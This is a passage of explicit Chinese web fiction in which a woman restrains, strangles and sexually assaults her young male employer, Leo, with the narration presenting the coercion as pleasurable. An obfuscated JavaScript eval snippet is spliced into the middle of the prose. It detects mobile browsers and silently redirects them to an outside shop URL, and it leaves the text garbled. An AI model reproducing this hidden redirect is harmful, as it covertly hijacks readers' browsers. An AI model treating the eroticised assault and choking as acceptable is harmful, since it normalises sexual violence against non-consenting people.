他手腕被抓在一起按在头顶,还在微弱挣扎,不过已是强弩之末。腿也被强硬分开,女人单膝卡在脆弱的中间部位,另一条腿压在他腰腹,每一处能使上力的地方都被牢牢禁锢,插翅难飞了。 两人吻得激烈,美盈率先挑开立奥的嘴唇吻了进去,而这时候让她防不胜防的事情发生了。一直以来都无比被动的里奥,突然伸出舌头,笨拙地勾缠住她,热烈地与她纠缠起来,探入她的口中,舔舐她的口腔壁,舌尖压在她整齐的牙齿上来回摩擦—— 挑逗似的。 难不成打了一场架,让他跟 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她顺手拿了个沙发枕垫在里奥的腰下,他下半身被枕头顶起,两条大长腿被撇成M形。 里奥呼吸急促,也许他是回忆起了什么,脸色微微泛白。 美盈看着他这副模样,嗓音极轻,语调轻快,眼神一如看情人般的温柔:“小宝贝,你慢慢会享受起来的。” 里奥眼帘轻轻颤了颤,眉头依然是蹙着的,唇珠被吸到肿起,嘴巴合不上,只能张着唇汲取着呼吸:“……你要怎么做?”如果没了魔龙宝具,顺直男完全没概念这女人还能怎么搞。 仿佛知晓他心中所想,她突然伸出修长带茧的手指撬开他的牙关,没入两节指节,指尖夹住他的舌头往外拽了拽,拉出一条亮晶晶的银丝。 “放心,没有那个玩具,我们也可以玩得很开心。”她说,“当然,你要是想念那个玩意儿,我可以找些东西来助助兴。” 她说完抿唇一笑,突然打开了手机,在屏幕上拨动了几下,点开了一个视频,将视频对着里奥播放起来—— 视频中的男孩和他现在一样仰躺着,眼睛紧阖,像锋利的匕首藏进了鞘里,金色的睫毛微颤,危险不见,取而代之的是致命的吸引力。 镜头拿得不是很稳,遵循着某种节奏在晃动,每晃一下就能看见那张遍布齿印的唇微微张开,发出凌乱的气音,被洇湿了的碎发像金子一样闪光,黏在他的额角,三分遮挡七分袒露,再衬上眼尾的那抹红,比任何一个小电影明星还要色气。 再往下,是被咬破了皮的喉结,拍摄者一记深顶金毛小兽便不堪重负似的仰起脖颈,那枚性感的喉结就这样被送到眼前,任人采撷一般,含不住的呜咽,微弱到忽略不计的挣扎…… 真是被欺负得好惨。 “你这个变态,”因为他今天的“冒犯”,他很清楚她在惩罚他,或许也是某种警告。里奥红着脸闭上眼睛,咬牙切齿,“把视频关掉!” “你这张脸不开个onlyfans真是可惜了。” 女人捻了捻手指,跃跃欲试。 8. 钝感力小野兽 爱情、欲望与暴力往往纠缠不清。 想要征服的□□一旦失去锁链的禁锢,就会破笼而出,野蛮生长。 很早以前,李美盈就知道,她喜欢“摧毁”。那些被她良好伪装所掩盖的,故意深埋在心底的血色岁月大概早就改变了她的灵魂与人格。心理医生曾经评估过她的状态,觉得结果非常不错,但她自己从不认同。 人性是很复杂的。 摧残一个人的肉.体或者灵魂,享受将对方从高处拽下来的过程,看他被迫在欲望里浮浮沉沉,听他被强行剥开外壳露出脆弱内里的痛苦哀鸣,让她感到非常兴奋。 阴暗的念头似乎占据了她的全部理智。 她一只手的手指在甬道里勤勤恳恳地垦进,另一只手则控制不住地掐紧了男孩的脖子——里奥雪白修长的脖子很快就被掐出了红痕,他连叫都叫不出来了,只能张着唇发出断断续续的气音。而每当他抑制不住发出这些痛苦的声音时,他就要咬紧嘴唇。下唇都被牙齿咬出了血,血痂干涸在上面。 就在他真的要因为窒息而晕死过去前,女人松开了扼住他脖颈的手,提着他的腰,将他翻了过去。 不眠之都暮色沉沉。 遥远的陌生警笛声、卡车倒车时的低沉哀鸣都被紧闭的窗帘挡在玻璃窗外。价值二十万美元的三星尖端LED电视正循环播放美式橄榄球和消化问题广告,然后就是黑漆漆的犯罪剧。 电视里在播放犯罪剧,电视外也有一场暴行在进行。 这是暴行吗?当然是。 但那又如何呢。 美盈一笑,俯视着被她掌控的里奥。 已经去了几次的男孩因高度刺激和姿势不适,弓起的脊背格外漂亮,一层薄汗腻在上面,在黯淡的灯光下微微发亮,略突的尾椎骨和两个腰窝嵌在那里,更是衬得性感无比。 (段平) …… 里奥的身体虽然白皙光滑又趁手,但一点也不软。胸肌是硬的,腰腹是硬的,连嘴唇都没有想象中的软。 但越是这样,越是令人血脉偾张。 美盈欣赏了半晌里奥狼狈的模样,玩心大起,两根手指并拢,像对待什么货物一样随意翻搅着。她的手掌覆上他汗津津的额头,一路往下,指尖轻轻搔刮,把他嘴唇上的血渣拭去,俯身轻轻烙下一吻。 里奥微微一愣。 这时她余光一扫,忽然间注意到了一个从前从未注意过的微小细节—— 里奥的左耳下方、靠近颈侧的位置,有一颗小小的痣,颜色接近朱色。 这个位置容易被头发遮盖住,再加上痣本身特别小,不细看根本看不到。 如果不是靠得这么近,她也发现不了。 也许就连他本人都不知道有这颗痣的存在。 这个念头让刚刚才平复下去的旖旎心思再次浮现出来。 李美盈摩挲着那颗痣,指尖大力碾过,他的皮肤被蹭得红了几分——更艳了。 女人像是发现了什么无人知晓的秘密,愉悦地勾起唇角:“你还真是什么地方都能勾引人。” 至于被她恶意夸奖的人,正宛如漂泊的浮萍,两条长腿被架在两侧不住地一抽一抽。他像是无力承受,又想抓住什么似的,指尖动了动。里奥的手指骨节分明,但指关节又不突出,典型的养尊处优型手,攥起来时能看到明显的淡青色血管。 美盈喜欢他这双手——事实上,他全身上下真是没有一处地方可以挑剔的。 她用力掰开他的手指,轻轻捏了两下,也不知道是在说手,还是在说什么: “骨头何必这么硬呢。” 回应她的是小崽子没有丝毫威慑力的冷酷眼锋。 美盈颇为无奈地笑了笑,把沾上白色的手指按到他嘴唇上。因为不必言说的原因,他绝对不肯张嘴吞吃。女人玩心大起,掐着腮边两侧,强迫他把嘴巴张开,让难堪到极点的声音泄出来。 “宝宝,不乖乖听话,我万一生气,失手卸了你的下巴怎么办,”顿了顿,声音温柔低沉,“而且在那之后,我也不会停哦。” …… 如愿以偿的这一刻,年长女性知道自己取得了今晚交锋的短暂胜利。 男孩的唇舌被手指肆意玩弄,除了含不住的口涎,还有完全泄出来的细碎喘息。 白色与绯红在唇瓣上交织,让这张脸被衬得更加色气满满。 …… 直到里奥被玩到短暂失去意识,美盈才彻底心满意足,神清气爽。她没有顾虑地走进浴室,把自己洗得干干净净,然后大摇大摆地躺倒在里奥的床上。 至于被她使用完毕的雇主,她的少爷,还被她丢在地上不省人事,丝缕不挂且浑身沾满污浊。 其实美盈是一个床品不错的人,但对于现阶段的小狮子,事后温情攻势是没用的。 既然如此,她又何必费心费力呢。 她仰面躺在床上,长叹了一口气。整个人依旧飘飘忽忽,爽到仿佛身在云端,但心里却有一种沉甸甸的满足感。 这种体验真是太棒了。 没过一会儿,浴室里再度响起了水声。 她撑着头,侧过身子等待。半个小时后,撑着疲惫的身体把自己打理干净的里奥也回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423879|200841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了卧室,走路的姿势还略微僵硬,不复意气风发之态。 美盈仿佛幻视一只落难的布偶猫,即使摔到泥地里,还要努力舔干净自己娇贵的皮毛,忍不住笑出了声。 听到笑声的里奥震惊地抬起头。 他简直不可置信,这个女人在第二次对他做了这样的事情后,居然还敢像个主人一样躺在他的家里——他的床上,嘲笑他。 美盈好整以暇地看着里奥,对他招了招手:“过来。” 里奥站在原地没动,大概率他正思绪翻涌,暗暗盘算着自己这具绵软的身体反败为胜的可能性。 里奥一丝一毫的表情变化全落在美盈眼里——这一刻,就连美盈也对他的钝感力感到非常佩服。 这小家伙在被伤害之后,猛然流露出来的脆弱让人感觉怜爱,但不需要任何人来帮助他,在很短的时间后,他就能自我调节与自我修复。他绝对不会责怪自己或者自怜自伤,只会不屈不挠地暗搓搓盘算着报复,这种本事也不是任何人都能有的。 “我很累了,没力气做了……也没有力气和你对打了。”里奥如此说道,语气像个小孩子。 “我怎么舍得打你呢?”美盈是真的这样觉得,尽管就在不久之前她对里奥下手的时候可以说是没有考虑过轻重。她无视他的眼神,又向他招了招手,“小宝贝,这是你的床,还不过来躺下。” 也许是被她这句话刺激了,里奥最终还是过来躺在了她的身边。 美盈单手在里奥的脸庞上抚摸着,顺着他的嘴角,一一抚过他的鼻尖,眼睑……这种微妙的感觉,让她忍不住想要更深一点的接触。 里奥深深呼吸了几口气,忍受着她撸猫一样的细致抚摸。直到她扑在他的身上,把他完全压制,细细嗅着他身上的味道。 “放开……”里奥张张嘴,却说不出一句话来,被她粗暴的动作侵犯着,想要抗拒却又不得不接受。 美盈爱死他现在这副表情了。 “唔——” 里奥瞪大了眼睛望着她,她捂住他的眼睛,舌尖继续在他的口腔里探索。这是一个真正的吻,两人的津液交融在一起,里奥牙关紧咬,下意识地躲避着她的舌,她用手定住他的下巴,舌尖一点点撬入进去,终于,她探入了他口腔内最柔软的地方,在那上面斯磨着,涎出大片津液,温热的液体沾满两片舌尖。她抬了抬里奥的下巴,让他把这些交融过的液体全部吞下。 “宝宝,我真的很喜欢你,”美盈就像告白一样地这么说着,但她接下来的一句话是,“而且你放心。等我玩够了,你求着让我操,我都不会多看你一眼。”